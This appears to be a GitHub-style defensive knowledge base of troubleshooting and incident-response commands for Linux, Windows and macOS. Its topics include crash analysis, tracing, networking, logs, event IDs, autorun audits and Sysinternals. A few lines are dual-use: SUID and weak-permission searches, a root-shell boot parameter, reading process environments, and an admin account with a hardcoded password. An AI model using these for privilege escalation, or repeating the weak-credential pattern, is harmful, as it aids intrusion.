A comprehensive, GitHub-style knowledge base covering deep OS troubleshooting, defensive cybersecurity, tool configurations, hardening checklists, and OPSEC best practices β inspired by h4cker, personal-security-checklist, and SafeLine WAF.
A kernel panic is Linuxβs equivalent of a Windows BSOD. The kernel encounters an unrecoverable error and halts the system. Understanding the panic output is critical.
Viewing Kernel Ring Buffer:
# View kernel messages (ring buffer)
dmesg | less
dmesg -T # Human-readable timestamps
dmesg --level=err,crit,alert,emerg # Filter by severity
dmesg | grep -i "error\|fail\|panic\|oops\|warn" | tail -50
# Kernel logs from last boot (systemd systems)
journalctl -k # Kernel messages this boot
journalctl -k -b -1 # Kernel messages from previous boot
journalctl -k -b -1 --priority=err # Only errors from last boot
Analyzing a Kernel Oops/Panic:
# After a crash, check saved crash dumps
ls /var/crash/
ls /var/log/
# If kdump is configured, analyze vmcore
crash /usr/lib/debug/boot/vmlinux-$(uname -r) /var/crash/$(ls /var/crash/ | tail -1)/vmcore
# Within crash utility
> bt # backtrace
> log # kernel log buffer
> ps # process list at crash time
> vm # virtual memory info
> files # open files
Configuring kdump for Post-Crash Analysis:
# Install kdump
sudo apt install kdump-tools linux-crashdump # Debian/Ubuntu
sudo dnf install kexec-tools # RHEL/Fedora
# Edit grub to reserve memory for crash kernel
# In /etc/default/grub:
GRUB_CMDLINE_LINUX="crashkernel=256M"
sudo update-grub
sudo systemctl enable kdump
sudo systemctl start kdump
# Verify kdump is ready
sudo kdump-config status
cat /sys/kernel/kexec_crash_loaded # Should show "1"
Boot Troubleshooting from GRUB:
# At GRUB menu, press 'e' to edit boot entry
# Add these kernel parameters for verbose output:
# Remove: quiet splash
# Add: debug loglevel=7 systemd.log_level=debug
# For read-only root causing issues, add:
# rw init=/bin/bash
# Rescue mode via systemd
# Add to kernel line: systemd.unit=rescue.target
# Or: rd.break (break into initramfs)
GRUB Recovery:
# If GRUB is broken, boot from Live USB and:
sudo mount /dev/sda2 /mnt # Mount root partition
sudo mount /dev/sda1 /mnt/boot # Mount boot partition
sudo mount --bind /dev /mnt/dev
sudo mount --bind /proc /mnt/proc
sudo mount --bind /sys /mnt/sys
sudo chroot /mnt
# Reinstall GRUB
grub-install /dev/sda
update-grub
exit
# Unmount and reboot
sudo umount -R /mnt
strace intercepts and records system calls made by a process. Itβs invaluable for debugging application failures without source code.
# Trace a command
strace ls /tmp
# Trace an existing process
strace -p 1234
# Trace with timestamps (microseconds)
strace -T -tt ls /tmp
# Trace only specific syscalls
strace -e trace=open,read,write ls /tmp
strace -e trace=network curl https://example.com
strace -e trace=file,process ls /tmp
# Follow child processes (fork/exec)
strace -f -p 1234
# Save output to file
strace -o /tmp/strace_output.txt -f myapp
# Count syscall statistics
strace -c ls /tmp
# Trace memory allocation calls
strace -e trace=brk,mmap,munmap,mprotect myapp
# Decode strings (show more bytes)
strace -s 1024 curl https://example.com
Interpreting strace output:
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
# ^syscall ^argument ^return value (fd=3)
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0P\34\2\0\0\0\0\0"..., 832) = 832
# fd=3, reading ELF header, 832 bytes read
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
# ERROR: library not found β this is a problem!
# List all processes with full details
ps auxf # Forest/tree view
ps aux --sort=-%cpu # Sort by CPU
ps aux --sort=-%mem # Sort by memory
ps -eo pid,ppid,cmd,pcpu,pmem --sort=-pcpu | head
# Process tree
pstree -p # Show PIDs
pstree -aup # Show arguments, users, PIDs
# Real-time process monitoring
top
htop # Enhanced (install: apt install htop)
btop # Beautiful (install: apt install btop)
glances # System-wide (install: pip install glances)
# Find processes by name or file
pgrep -la nginx
pidof sshd
fuser 80/tcp # What process is using port 80?
lsof -i :80 # Detailed info for port 80
lsof -p 1234 # All files open by PID 1234
lsof -u username # All files by user
lsof +D /var/log # All processes accessing directory
# Process limits
cat /proc/1234/limits
ulimit -a # Current shell limits
# Inspect a running process
cat /proc/1234/cmdline | tr '\0' ' ' # Command line
cat /proc/1234/environ | tr '\0' '\n' # Environment variables
ls -la /proc/1234/fd # Open file descriptors
cat /proc/1234/status # Process status
cat /proc/1234/maps # Memory maps
cat /proc/1234/net/tcp # Network connections
# Overview
free -h # Human readable
vmstat 1 5 # Virtual memory stats (every 1s, 5 times)
cat /proc/meminfo # Detailed memory info
# Memory usage per process
smem -r -s rss | head -20 # Sort by RSS
ps aux --sort=-%mem | head -10
# OOM Killer β find what got killed
dmesg | grep -i "oom\|out of memory\|killed process"
journalctl -k | grep -i oom | tail -20
# Memory leak detection
valgrind --leak-check=full --show-leak-kinds=all ./myapp
# Shared memory
ipcs -m # Shared memory segments
ipcs -a # All IPC resources
# NUMA analysis (multi-socket servers)
numactl --hardware
numastat -p myapp
# Huge pages
cat /proc/meminfo | grep -i huge
grep -r HugePages /proc/sys/vm/
# Swap analysis
swapon --show
cat /proc/swaps
vmstat -s | grep -i swap
# Basic capture on interface
sudo tcpdump -i eth0
# Capture with verbose output and no DNS resolution
sudo tcpdump -i eth0 -nn -vv
# Capture specific host traffic
sudo tcpdump -i eth0 host 192.168.1.100
# Capture specific port
sudo tcpdump -i eth0 port 443
sudo tcpdump -i eth0 port 80 or port 443
# Capture and save to file
sudo tcpdump -i eth0 -w /tmp/capture.pcap
# Read from pcap file
sudo tcpdump -r /tmp/capture.pcap
# Capture HTTP traffic
sudo tcpdump -i eth0 -A -s 0 port 80
# Capture DNS queries
sudo tcpdump -i eth0 -n port 53
# Capture ICMP (ping)
sudo tcpdump -i eth0 icmp
# Capture SYN packets (connection attempts)
sudo tcpdump -i eth0 'tcp[tcpflags] & tcp-syn != 0'
# Capture large packets (potential issues)
sudo tcpdump -i eth0 'greater 1400'
# Limit capture size and count
sudo tcpdump -i eth0 -c 100 -s 65535 -w capture.pcap
# Show packet hex and ASCII
sudo tcpdump -i eth0 -XX port 25
# Capture traffic to/from a subnet
sudo tcpdump -i eth0 net 192.168.1.0/24
# ss β socket statistics (modern netstat replacement)
ss -tlnp # TCP listening ports with processes
ss -ulnp # UDP listening ports
ss -s # Summary statistics
ss -anp | grep :80 # All connections on port 80
ss -tnp state ESTABLISHED # Established TCP connections
ss -o state FIN-WAIT-1 # Connections in FIN-WAIT-1
# netstat (legacy but still useful)
netstat -tlnp # TCP listening
netstat -s # Statistics by protocol
netstat -rn # Routing table
# ip command suite
ip addr show # Interface addresses
ip link show # Link status
ip route show # Routing table
ip route get 8.8.8.8 # How to reach an IP
ip neigh show # ARP cache
ip -s link # Interface statistics
# Trace the route
traceroute google.com
traceroute -T -p 443 google.com # TCP traceroute
mtr google.com # Real-time traceroute
tracepath google.com # Path MTU discovery
# DNS diagnostics
dig google.com
dig google.com @8.8.8.8 # Query specific DNS server
dig +trace google.com # Full DNS resolution trace
dig -x 8.8.8.8 # Reverse lookup
nslookup google.com
resolvectl query google.com # systemd-resolved
# Bandwidth testing
iperf3 -s # Server mode
iperf3 -c 192.168.1.1 -t 30 # Client, 30 second test
iperf3 -c 192.168.1.1 -u -b 100M # UDP test at 100Mbit
# Connection testing
nc -zv 192.168.1.1 22 # TCP port check
nc -zvw3 192.168.1.1 80 # With 3s timeout
curl -v telnet://192.168.1.1:22 # Via curl
nmap -p 22,80,443 192.168.1.1 # Port scan
# Firewall status
sudo iptables -L -n -v --line-numbers
sudo nft list ruleset
sudo ufw status verbose
sudo firewall-cmd --list-all # firewalld
# Disk usage overview
df -hT # Human-readable with filesystem type
du -sh /var/log/* # Size of each item in directory
du -ah /home | sort -rh | head -20 # Top 20 largest files/dirs
ncdu / # Interactive disk usage (install: apt install ncdu)
# Disk health (SMART)
sudo smartctl -a /dev/sda
sudo smartctl -t short /dev/sda # Run short self-test
sudo smartctl -t long /dev/sda # Run long self-test (hours)
sudo smartctl -H /dev/sda # Health check only
# I/O performance
iostat -xz 1 # Extended I/O stats every 1s
iotop -ao # I/O by process (accumulated)
pidstat -d 1 # Per-process I/O
# Filesystem checks
sudo fsck /dev/sda1 # Check and repair (unmounted!)
sudo fsck -n /dev/sda1 # Dry-run, no changes
sudo e2fsck -fv /dev/sda1 # Extended check with verbose
tune2fs -l /dev/sda1 # ext4 filesystem details
# LVM troubleshooting
pvs # Physical volumes
vgs # Volume groups
lvs # Logical volumes
pvdisplay
vgdisplay
lvdisplay
vgscan --cache # Rescan for volume groups
# RAID status
cat /proc/mdstat # Software RAID status
sudo mdadm --detail /dev/md0
sudo mdadm --query /dev/sda
# Find recently modified files (useful for incident response)
find / -mtime -1 -type f 2>/dev/null | head -50 # Last 24h
find /etc -newer /etc/passwd -type f # Newer than passwd
find / -perm -4000 -type f 2>/dev/null # SUID files
find / -perm -2000 -type f 2>/dev/null # SGID files
find /tmp /var/tmp -type f -executable 2>/dev/null # Executables in /tmp
# Inode exhaustion (files present but can't create new)
df -i # Inode usage
find / -xdev -type f | wc -l # Count all files on filesystem
# Deleted but open files (files holding disk space)
lsof | grep "(deleted)"
lsof +L1 # Links=0 (deleted but open)
# Service management
sudo systemctl status myservice
sudo systemctl start|stop|restart|reload myservice
sudo systemctl enable|disable myservice
sudo systemctl daemon-reload # After editing unit files
sudo systemctl reset-failed # Clear failed state
# Detailed service debugging
sudo systemctl status -l myservice # Full log output
sudo journalctl -u myservice -f # Follow logs
sudo journalctl -u myservice --since "1 hour ago"
sudo journalctl -u myservice -n 100 # Last 100 lines
sudo journalctl -u myservice -p err # Only errors
# List all units
systemctl list-units --type=service
systemctl list-units --state=failed
systemctl list-unit-files --state=enabled
# Boot performance analysis
systemd-analyze # Total boot time
systemd-analyze blame # Time per unit
systemd-analyze critical-chain # Critical path
systemd-analyze plot > boot.svg # Graphical boot chart
# Unit file locations
# /etc/systemd/system/ β Custom/override units (highest priority)
# /usr/lib/systemd/system/ β Package-installed units
# /run/systemd/system/ β Runtime units
# Creating a simple service unit file
cat > /etc/systemd/system/myapp.service << 'EOF'
[Unit]
Description=My Application
After=network.target
Requires=network.target
[Service]
Type=simple
User=myappuser
Group=myappuser
WorkingDirectory=/opt/myapp
ExecStart=/opt/myapp/bin/myapp --config /etc/myapp/config.yaml
ExecReload=/bin/kill -HUP $MAINPID
Restart=on-failure
RestartSec=5s
StartLimitInterval=60s
StartLimitBurst=3
# Security hardening
NoNewPrivileges=yes
PrivateTmp=yes
ProtectSystem=strict
ProtectHome=yes
ReadWritePaths=/var/log/myapp
# Resource limits
LimitNOFILE=65536
MemoryMax=512M
CPUQuota=50%
# Environment
Environment="NODE_ENV=production"
EnvironmentFile=-/etc/myapp/environment
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl daemon-reload
sudo systemctl enable --now myapp
# systemd drop-in overrides (non-destructive)
sudo systemctl edit myservice
# Creates /etc/systemd/system/myservice.service.d/override.conf
# Example override to add environment variable:
# [Service]
# Environment="DEBUG=1"
# Viewing drop-in files
sudo systemctl cat myservice
# CPU profiling with perf
sudo perf top # Live CPU profiler
sudo perf record -g ./myapp # Record with call graphs
sudo perf report # View recording
sudo perf stat ./myapp # Run and collect stats
sudo perf stat -e cache-misses,cycles,instructions ./myapp
# CPU frequency and throttling
cat /sys/devices/system/cpu/cpu*/cpufreq/scaling_cur_freq
cpupower frequency-info
cpupower monitor
# Load average interpretation
uptime
# load average: 1.23, 0.87, 0.65
# 1-min, 5-min, 15-min load averages
# On a 4-core system: load of 4.0 = 100% utilization
# Detect CPU throttling due to temperature
cat /sys/class/thermal/thermal_zone*/temp
sensors # Install: apt install lm-sensors
sudo turbostat --quiet # Intel CPU stats
# I/O wait diagnosis
vmstat 1 | awk '{print $15}' # wa column (I/O wait %)
iostat -x 1 | grep -E "Device|sda"
# System call overhead β ftrace
echo function > /sys/kernel/debug/tracing/current_tracer
echo 1 > /sys/kernel/debug/tracing/tracing_on
cat /sys/kernel/debug/tracing/trace | head -50
echo 0 > /sys/kernel/debug/tracing/tracing_on
# eBPF tools (bpftools/bcc)
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_open { printf("%s %s\n", comm, str(args->filename)); }'
sudo opensnoop-bpfcc # Trace file opens
sudo execsnoop-bpfcc # Trace process execution
sudo tcplife-bpfcc # TCP connection lifetimes
sudo biolatency-bpfcc # Block I/O latency histogram
# journalctl β the master log viewer
journalctl # All logs (paginated)
journalctl -f # Follow (like tail -f)
journalctl -n 50 # Last 50 lines
journalctl -r # Reverse order (newest first)
journalctl -p err # Priority: emerg,alert,crit,err,warning,notice,info,debug
journalctl -p 0..3 # emerg to err
journalctl --since "2024-01-01 00:00:00"
journalctl --since "1 hour ago" --until "30 min ago"
journalctl --since yesterday
journalctl -u sshd --since today # Service + time filter
journalctl _PID=1234 # By PID
journalctl _UID=1000 # By user ID
journalctl _SYSTEMD_UNIT=nginx.service # By unit
journalctl -b # Current boot
journalctl -b -1 # Previous boot
journalctl --list-boots # List all boots
journalctl -k # Kernel messages only
journalctl -o json-pretty # JSON output
journalctl -o verbose # All fields
journalctl --disk-usage # Log disk usage
sudo journalctl --vacuum-size=500M # Trim logs to 500M
sudo journalctl --vacuum-time=30d # Remove logs older than 30 days
# Traditional log files
tail -f /var/log/syslog
tail -f /var/log/auth.log # Authentication attempts
tail -f /var/log/kern.log # Kernel messages
grep -i "failed\|error\|denied" /var/log/auth.log
# Log analysis with awk and grep
# Find all failed SSH attempts
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -20
# Find all successful SSH logins
grep "Accepted password\|Accepted publickey" /var/log/auth.log | awk '{print $9, $11}' | sort | uniq -c
# Web server log analysis
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 # Top IPs
awk '{print $7}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20 # Top URLs
awk '$9 >= 500' /var/log/nginx/access.log | wc -l # 5xx errors
# Using logwatch
sudo logwatch --output stdout --format text --range today --detail high
# System Information
Get-ComputerInfo
Get-WmiObject Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber
systeminfo | findstr /C:"OS Name" /C:"System Type" /C:"Total Physical Memory"
[Environment]::OSVersion
# Process Management
Get-Process | Sort-Object CPU -Descending | Select-Object -First 20
Get-Process | Where-Object {$_.WorkingSet -gt 500MB} | Select Name, Id, @{N="MB";E={$_.WorkingSet/1MB}}
Stop-Process -Name notepad -Force
Start-Process notepad.exe -Verb RunAs # Run as admin
# Service Management
Get-Service | Where-Object {$_.Status -eq "Stopped"} | Select Name, DisplayName
Get-Service -Name wuauserv | Start-Service
Set-Service -Name wuauserv -StartupType Automatic
Get-Service -DependentServices -Name Spooler # Services that depend on Spooler
# Network Diagnostics
Get-NetAdapter | Select Name, Status, LinkSpeed
Test-NetConnection -ComputerName google.com -Port 443
Test-NetConnection -TraceRoute google.com
Get-NetTCPConnection | Where-Object State -EQ Established | Select LocalAddress, LocalPort, RemoteAddress, RemotePort
Get-NetIPConfiguration
Resolve-DnsName google.com
Resolve-DnsName -Name google.com -Server 8.8.8.8
# User and Group Management
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember -Group "Administrators"
New-LocalUser -Name "newuser" -Password (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) -FullName "New User"
Add-LocalGroupMember -Group "Administrators" -Member "newuser"
# Disk and Storage
Get-Disk
Get-Partition
Get-Volume
Get-PhysicalDisk | Select FriendlyName, MediaType, HealthStatus, OperationalStatus, Size
Repair-Volume -DriveLetter C -Scan # Check disk without repair
Repair-Volume -DriveLetter C -OfflineScanAndFix
# File System Search
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -like "*.log"} | Select FullName, LastWriteTime
Get-ChildItem -Path C:\Windows\Prefetch -Filter *.pf | Sort-Object LastWriteTime -Descending | Select-Object -First 20
# Windows Update
Get-WindowsUpdateLog
Install-Module PSWindowsUpdate -Force
Get-WindowsUpdate
Install-WindowsUpdate -AcceptAll -AutoReboot
# Registry Operations (PowerShell)
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion" -Name ProductName
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" -Name "MaxUserPort" -Value 65534
New-Item -Path "HKLM:\SOFTWARE\MyApp" -Force
Remove-Item -Path "HKLM:\SOFTWARE\MyApp" -Recurse
# Event Log Queries
Get-EventLog -LogName System -EntryType Error -Newest 50
Get-EventLog -LogName Application -Source "Application Error" -Newest 20
Get-WinEvent -FilterHashtable @{LogName='System'; Level=2; StartTime=(Get-Date).AddDays(-1)}
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} | Select -First 20 # Failed logons
# Remote Management
Enter-PSSession -ComputerName SERVERNAME -Credential (Get-Credential)
Invoke-Command -ComputerName SERVER1, SERVER2 -ScriptBlock { Get-Service | Where Status -eq Running }
| Event ID | Log | Description |
|---|---|---|
| 4624 | Security | Successful logon |
| 4625 | Security | Failed logon attempt |
| 4634 | Security | Logon session ended |
| 4648 | Security | Logon with explicit credentials |
| 4672 | Security | Special privileges assigned (admin logon) |
| 4698 | Security | Scheduled task created |
| 4720 | Security | User account created |
| 4726 | Security | User account deleted |
| 4732 | Security | Member added to security group |
| 4740 | Security | User account locked out |
| 4756 | Security | Member added to universal group |
| 4768 | Security | Kerberos TGT requested |
| 4769 | Security | Kerberos service ticket requested |
| 4771 | Security | Kerberos pre-authentication failed |
| 4776 | Security | NTLM authentication attempted |
| 7034 | System | Service crashed unexpectedly |
| 7035 | System | Service sent start/stop control |
| 7036 | System | Service started or stopped |
| 7045 | System | New service installed |
| 1102 | Security | Audit log cleared (suspicious!) |
| 4688 | Security | Process created (enable auditing) |
| 4689 | Security | Process terminated |
# Query security log for suspicious events
# Failed logons from last 24 hours
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
Id = 4625
StartTime = (Get-Date).AddHours(-24)
} | Select-Object TimeCreated, @{N="Username";E={$_.Properties[5].Value}}, @{N="SourceIP";E={$_.Properties[19].Value}}
# Detect log clearing (major red flag)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102} | Select TimeCreated, Message
# Scheduled task creation (persistence mechanism)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698} | Select TimeCreated, Message | Format-List
# New service installation (malware indicator)
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045} | Select TimeCreated, @{N="ServiceName";E={$_.Properties[0].Value}}
# Export logs for analysis
wevtutil epl Security C:\Logs\Security.evtx
wevtutil epl System C:\Logs\System.evtx
# Query without PowerShell (command line)
wevtutil qe Security /q:"*[System[(EventID=4625)]]" /c:50 /rd:true /f:text
HKEY_LOCAL_MACHINE (HKLM) β Machine-wide settings
HKEY_CURRENT_USER (HKCU) β Current user settings
HKEY_USERS (HKU) β All user profiles
HKEY_CLASSES_ROOT (HKCR) β File type associations
HKEY_CURRENT_CONFIG (HKCC)β Current hardware profile
# Autorun locations (malware persistence spots - AUDIT THESE)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\SYSTEM\CurrentControlSet\Services (service-based persistence)
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon (Userinit, Shell)
# Services
HKLM\SYSTEM\CurrentControlSet\Services\
# Network configuration
HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
# Installed software
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall (32-bit on 64-bit)
# User-specific installed software
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
# Browser helpers and extensions (audit for malware)
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
# Audit all autorun locations
$autorunLocations = @(
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
"HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
)
foreach ($location in $autorunLocations) {
Write-Host "=== $location ===" -ForegroundColor Cyan
Get-ItemProperty -Path $location -ErrorAction SilentlyContinue |
Select-Object * -ExcludeProperty PS* |
Format-List
}
# Export registry hive for offline analysis
reg export HKLM\SOFTWARE C:\Backup\software_hive.reg
reg export HKCU C:\Backup\user_hive.reg
# Compare registry for changes
reg export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run before.reg
# ...make changes...
reg export HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run after.reg
fc before.reg after.reg
# Search registry (important for incident response)
reg query HKLM /f "suspicious_string" /s /t REG_SZ # Recursive string search
The Sysinternals Suite is an indispensable collection of Windows utilities.
# Download Sysinternals Suite
Invoke-WebRequest -Uri "https://download.sysinternals.com/files/SysinternalsSuite.zip" -OutFile "C:\Tools\Sysinternals.zip"
Expand-Archive -Path "C:\Tools\Sysinternals.zip" -DestinationPath "C:\Tools\Sysinternals"
# Or run directly from web (requires internet)
# \\live.sysinternals.com\tools\
Process Monitor (procmon.exe) β Real-time file, registry, and process activity
# Use cases:
# - Track which registry keys an app reads
# - Find which files a process is accessing
# - Debug "Access Denied" errors
# - Trace DLL loading issues
# Key filters:
# Process Name β contains β myapp.exe
# Result β contains β DENIED
# Path β ends with β .dll
Process Explorer (procexp.exe) β Enhanced Task Manager
# Features:
# - Show full DLL list for each process
# - Check VirusTotal for any process/DLL
# - Show handles (open files, sockets)
# - Highlight color coding:
# Purple = packed/compressed image
# Red = process exiting
# Green = new process
# Blue = runs in same context as Explorer
Autoruns (autoruns.exe) β Show all autostart entries
# Most comprehensive autorun viewer
# Integrates with VirusTotal
# Highlights entries with no publisher (suspicious)
# Categories: Logon, Explorer, Services, Drivers, Boot Execute, etc.
# Autorunsc (command-line Autoruns)
autorunsc.exe -a * -c -h -s -v > C:\autoruns_output.csv # All locations, CSV, hash, VirusTotal
# PsExec β Run commands on remote systems
psexec.exe \\REMOTEPC ipconfig /all
psexec.exe \\REMOTEPC -u admin -p password cmd.exe
# TCPView β Live network connection viewer (GUI)
# Shows process, local/remote address, state
# Strings β Extract printable strings from binaries
strings.exe suspicious.exe > strings_output.txt
strings.exe -n 8 suspicious.exe # Minimum 8 character strings
# Sigcheck β Verify file signatures
sigcheck.exe -v -vt suspicious.exe # Check VirusTotal
sigcheck.exe -nobanner -v -vt -r C:\Windows\System32 # Scan directory
# Handle β Find which process has a file locked
handle.exe C:\Windows\locked_file.txt
# DU β Disk usage
du.exe -v C:\Windows
# AccessChk β Verify permissions
accesschk.exe -wvu "C:\Program Files" # Writable dirs (privilege escalation risk)
accesschk.exe -uwcqv * # Services with weak permissions
# Comprehensive system inventory
Get-CimInstance Win32_ComputerSystem | Select Name, Manufacturer, Model, TotalPhysicalMemory
Get-CimInstance Win32_Processor | Select Name, NumberOfCores, NumberOfLogicalProcessors, MaxClockSpeed
Get-CimInstance Win32_PhysicalMemory | Select BankLabel, Capacity, Speed, Manufacturer
Get-CimInstance Win32_DiskDrive | Select Model, Size, MediaType, Status
Get-CimInstance Win32_NetworkAdapterConfiguration | Where-Object IPEnabled | Select Description, IPAddress, MACAddress
Get-CimInstance Win32_BIOS | Select Manufacturer, Name, Version, ReleaseDate
Get-CimInstance Win32_OperatingSystem | Select Caption, Version, InstallDate, LastBootUpTime
Get-CimInstance Win32_Product | Select Name, Version, Vendor, InstallDate | Sort-Object Name
# Security-focused WMI queries
Get-CimInstance Win32_UserAccount | Select Name, SID, Disabled, Lockout, PasswordRequired
Get-CimInstance Win32_Service | Where-Object {$_.StartMode -eq "Auto" -and $_.State -ne "Running"} | Select Name, DisplayName
Get-CimInstance Win32_Share | Select Name, Path, Description
Get-CimInstance Win32_LogonSession | Select LogonId, LogonType, StartTime
Get-CimInstance Win32_Process | Select ProcessId, Name, CommandLine, ExecutablePath | Sort Name
# WMI persistence (malware technique β audit this!)
Get-WMIObject -Namespace root\subscription -Class __EventFilter
Get-WMIObject -Namespace root\subscription -Class __EventConsumer
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
:: Network reset commands (run as Administrator)
netsh int ip reset resetlog.txt
netsh winsock reset catalog
netsh advfirewall reset
ipconfig /release
ipconfig /flushdns
ipconfig /renew
ipconfig /registerdns
:: Network statistics
netstat -ano :: All connections with PID
netstat -e :: Interface statistics
netstat -s -p tcp :: TCP statistics
netstat -r :: Routing table
:: DNS cache
ipconfig /displaydns :: View DNS cache
ipconfig /flushdns :: Clear DNS cache
:: Test connectivity
ping -n 10 8.8.8.8 :: 10 pings
pathping google.com :: tracert + ping statistics
tracert google.com
:: Windows Firewall
netsh advfirewall show allprofiles
netsh advfirewall firewall show rule name=all | findstr "Rule Name"
netsh advfirewall firewall add rule name="Block Telnet" protocol=TCP dir=in localport=23 action=block
:: Network shares
net share :: List all shares
net use :: List mapped drives
net view \\SERVERNAME :: View shares on remote system
:: ARP cache
arp -a :: View ARP cache
arp -d * :: Clear ARP cache
macOS uses a unified logging system accessible via log command:
# Basic log queries
log show --last 1h # Last hour
log show --last 1d # Last day
log show --start "2024-01-01 00:00:00" --end "2024-01-02 00:00:00"
log show --predicate 'process == "loginwindow"' --last 1h
log show --predicate 'eventMessage contains "error"' --last 30m
log show --predicate 'subsystem == "com.apple.network"' --last 1h
log show --predicate 'category == "networking" AND eventType == "logEvent"'
# Stream logs in real-time
log stream --predicate 'process == "Safari"'
log stream --level debug --predicate 'subsystem == "com.apple.securityd"'
log stream --info --debug --predicate 'process == "kernel"'
# Privacy-sensitive log data (requires entitlement or root)
sudo log show --last 1h --info --debug
# Export logs
log collect --last 1h --output ~/Desktop/system.logarchive
log show ~/Desktop/system.logarchive --last 30m
# Crash logs location
ls ~/Library/Logs/DiagnosticReports/
ls /Library/Logs/DiagnosticReports/
ls /var/log/
# Console.app equivalent commands
log show --predicate 'eventMessage contains[cd] "crash"' --last 6h
# System and kernel logs
log show --predicate 'process == "kernel"' --last 1h | grep -i "error\|panic\|fault"
# Locations
# /System/Library/LaunchDaemons/ - Apple system daemons (do not modify)
# /Library/LaunchDaemons/ - Third-party system-wide daemons (root)
# /Library/LaunchAgents/ - Third-party system-wide agents (user context)
# ~/Library/LaunchAgents/ - Per-user agents
# List all loaded jobs
sudo launchctl list # All loaded (root)
launchctl list # User-context loaded
launchctl list | grep -v "com.apple" # Third-party only (audit these!)
# Load/unload plists
sudo launchctl load /Library/LaunchDaemons/com.myapp.plist
sudo launchctl unload /Library/LaunchDaemons/com.myapp.plist
sudo launchctl load -w /Library/LaunchDaemons/com.myapp.plist # -w = enable disabled
# Modern launchctl (macOS 10.10+)
sudo launchctl bootstrap system /Library/LaunchDaemons/com.myapp.plist
sudo launchctl bootout system /Library/LaunchDaemons/com.myapp.plist
launchctl print system/com.myapp.daemon # Detailed info
launchctl blame system/com.myapp.daemon # Why was it started?
# Validate a plist file
plutil -lint /Library/LaunchDaemons/com.myapp.plist
# Example LaunchDaemon plist
cat > /Library/LaunchDaemons/com.myapp.daemon.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.myapp.daemon</string>
<key>ProgramArguments</key>
<array>
<string>/usr/local/bin/myapp</string>
<string>--config</string>
<string>/etc/myapp/config.plist</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>
<key>StandardOutPath</key>
<string>/var/log/myapp.log</string>
<key>StandardErrorPath</key>
<string>/var/log/myapp_error.log</string>
<key>UserName</key>
<string>_myapp</string>
<key>GroupName</key>
<string>_myapp</string>
</dict>
</plist>
EOF
sudo chown root:wheel /Library/LaunchDaemons/com.myapp.daemon.plist
sudo chmod 644 /Library/LaunchDaemons/com.myapp.daemon.plist
# Network interface management
ifconfig # All interfaces
ifconfig en0 # Specific interface
networksetup -listallnetworkservices # List network services
networksetup -getinfo "Wi-Fi" # Interface info
networksetup -setmanual "Wi-Fi" 192.168.1.10 255.255.255.0 192.168.1.1 # Static IP
networksetup -setdhcp "Wi-Fi" # Back to DHCP
# DNS configuration
networksetup -getdnsservers "Wi-Fi"
networksetup -setdnsservers "Wi-Fi" 1.1.1.1 8.8.8.8
networksetup -setdnsservers "Wi-Fi" empty # Remove custom DNS (use DHCP)
# DNS flush
sudo dscacheutil -flushcache
sudo killall -HUP mDNSResponder
sudo discoveryutil mdnsflushcache # Older macOS
# Routing table
netstat -rn
route -n get default # Show default route
route add -net 10.0.0.0/8 192.168.1.1 # Add static route
# Wi-Fi diagnostics
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I # Current Wi-Fi info
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s # Scan for networks
sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -z # Disassociate
# Packet capture on macOS
sudo tcpdump -i en0 -w ~/Desktop/capture.pcap
sudo tcpdump -i en0 port 443
# Or use Wireshark (install from https://wireshark.org)
# Network quality tool (macOS Monterey+)
networkQuality # Run speed/quality test
# Port scan / connectivity
nmap -p 80,443 google.com # (install: brew install nmap)
nc -zv google.com 443
